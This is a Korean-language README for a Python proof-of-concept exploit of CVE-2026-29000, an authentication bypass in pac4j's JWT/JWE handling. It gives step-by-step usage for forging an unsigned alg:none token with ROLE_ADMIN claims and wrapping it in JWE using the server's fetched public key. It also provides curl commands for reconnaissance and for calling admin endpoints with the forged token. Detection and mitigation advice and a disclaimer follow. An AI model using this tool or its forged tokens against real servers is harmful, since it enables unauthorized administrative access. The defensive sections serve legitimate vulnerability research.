
Python POC, Exploit for CVE-2026-29000
CVE-2026-29000에 대한 개념 증명 – pac4j JWT 구현의 심각한 인증 우회 취약점으로, 공격자가 유효한 서명 없이 관리자 토큰을 위조할 수 있습니다.
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 저자는 이 익스플로잇의 오용, 손해 또는 불법 사용에 대해 어떠한 책임도 지지 않습니다.
이 취약점은 pac4j의 JWT 인증 메커니즘에서 다음 결함을 이용합니다.
alg: "none"이 포함된 토큰을 수용함role: "ROLE_ADMIN")을 추가할 수 있음공격자는 서명 없는 JWT에 임의의 클레임을 넣어 만들고, 서버의 공개 키로 JWE 컨테이너에 암호화한 후, 관리자 기능에 무단 접근할 수 있습니다.
이 익스플로잇이 성공하려면 대상 서버가 모든 다음 조건을 충족해야 합니다.
서버는 다음 엔드포인트 중 하나를 통해 공개 키를 노출해야 합니다.
/.well-known/jwks.json (표준 OAuth/OIDC 엔드포인트)/api/auth/jwks (사용자 정의 엔드포인트)이유: 익스플로잇이 자동으로 서버의 공개 키를 가져와 위조된 JWE 토큰을 암호화합니다.
서버는 다음을 충족해야 합니다.
role 클레임을 수락하고 처리함ROLE_ADMIN)일반적인 역할:
ROLE_ADMIN – 전체 관리자 접근ROLE_USER – 일반 사용자 접근서버는 다음을 충족해야 합니다.
애플리케이션이 pac4j를 사용하며 다음 조건을 만족해야 함:
"none"으로 설정되거나 알고리즘 검증이 불충분함requests, jwcrypto# 저장소 복제
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000
# 의존성 설치
pip install -r requirements.txt
requests>=2.28.0
jwcrypto>=1.4.0
python3 exploit.py <TARGET_URL>
예시:
python3 exploit.py http://vulnerable-app.local:8080
스크립트는 다음을 수행합니다:
role: "ROLE_ADMIN"이 포함된 서명 없는 JWT를 생성합니다.python3 exploit.py http://vulnerable-app.local:8080 --username john
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR
JWKS 엔드포인트가 공개적으로 접근 불가능한 경우, JWK를 수동으로 제공합니다.
python3 exploit.py http://vulnerable-app.local:8080 \
--jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'
python3 exploit.py http://vulnerable-app.local:8080 \
--username hacker \
--role ROLE_ADMIN \
--jwk '{"keys":[{...}]}'
익스플로잇은 다음과 같은 형식으로 JWE 토큰을 출력합니다.
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...
보호된 엔드포인트에 접근하려면 HTTP 요청에 토큰을 사용하십시오.
# curl 사용
curl -H "Authorization: Bearer <JWE_TOKEN>" \
http://vulnerable-app.local:8080/api/admin/dashboard
# Python requests 사용
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
http://vulnerable-app.local:8080/api/users/list
header = {"alg": "none", "type": "JWT"}
payload = {
"sub": "admin", # 사용자 이름
"role": "ROLE_ADMIN", # 권한 수준
"iss": "principal-platform", # 발급자
"iat": 1234567890, # 발급 시간
"exp": 1234571490 # 만료 시간 (1시간)
}
JWT는 서명 없이 (alg: "none") 생성되며, 일반적으로는 유효하지 않지만 취약한 서버에서는 수용됩니다.
익스플로잇이 다음을 쿼리합니다.
/.well-known/jwks.json (OAuth/OIDC 표준)/api/auth/jwks (사용자 정의 엔드포인트)이를 통해 암호화에 필요한 서버의 RSA 공개 키를 가져옵니다.
서명 없는 JWT가 다음을 사용하여 암호화됩니다.
이렇게 하면 서버가 복호화할 수 있지만 내부 서명은 검증하지 않는 JWE 토큰이 생성됩니다.
JWE 토큰이 Authorization 헤더에 포함됩니다.
Authorization: Bearer <JWE_TOKEN>
취약한 서버는 이를 복호화하고 서명 없는 JWT를 추출하여 서명 검증 없이 클레임을 신뢰합니다.
서명 없는 JWT (alg:none)
↓
JWE로 래핑 (서버의 공개 키 사용)
↓
서버가 JWE 토큰 수신
↓
서버가 JWE 복호화
↓
내부 서명 없는 JWT 추출
↓
❌ 서버가 서명을 검증하지 않음
↓
✅ 클레임을 유효한 것으로 수락 (role: ROLE_ADMIN)
↓
공격자가 관리자 접근 권한 획득!
JWKS 엔드포인트 노출
/.well-known/jwks.json 또는 /api/auth/jwks가 공개적으로 접근 가능한지 확인JWT 검증 로그
alg: "none"을 포함한 토큰을 수락하는 로그 확인구성 검토
# 정찰
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .
# JWE 토큰이 수락되는지 확인
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected
서명 검증 강제
// BAD - Accepts unsigned tokens
JwtAuthenticator jwt = new JwtAuthenticator();
jwt.setAlgorithm(null); // ❌ Vulnerable
// GOOD - Requires valid signature
JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ Secure
JWT 알고리즘 검증
alg: "none"을 절대 수락하지 않음JWE가 필요하지 않으면 비활성화
pac4j 업데이트
토큰 검증 계층 추가
exp 클레임) 검증iss 클레임) 확인JWKS 엔드포인트 접근 제한
location /.well-known/jwks.json {
allow 10.0.0.0/8; # 내부 네트워크만 허용
deny all;
}
인증 로그 모니터링
alg: "none"이 포함된 토큰에 대한 경고네트워크 분할
정기적인 보안 감사
@Configuration
public class SecurityConfig {
@Bean
public JwtAuthenticator jwtAuthenticator() {
JwtAuthenticator authenticator = new JwtAuthenticator();
// ❌ VULNERABLE: No signature verification
authenticator.setAlgorithmsAllowedForSigning(null);
authenticator.setJwtClaimsValidation(false);
return authenticator;
}
@Bean
public JWEEncrypter encrypter() {
// Accepts JWE but doesn't verify inner JWT
return new JWEEncrypter();
}
}
이 익스플로잇은 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
승인되지 않은 컴퓨터 시스템 접근은 불법입니다. 이 도구는 다음에만 사용해야 합니다.
저자는 이 도구의 오용이나 피해에 대해 책임을 지지 않습니다.
MIT 라이선스 – 자세한 내용은 LICENSE 파일 참조
버그를 발견했거나 개선 사항이 있으신가요?
git checkout -b feature/improvement)git commit -m 'Add improvement')git push origin feature/improvement)문제, 질문 또는 제안 사항이 있으면:
최종 업데이트: 2026년 5월
저자: 보안 연구 팀
상태: 교육용 PoC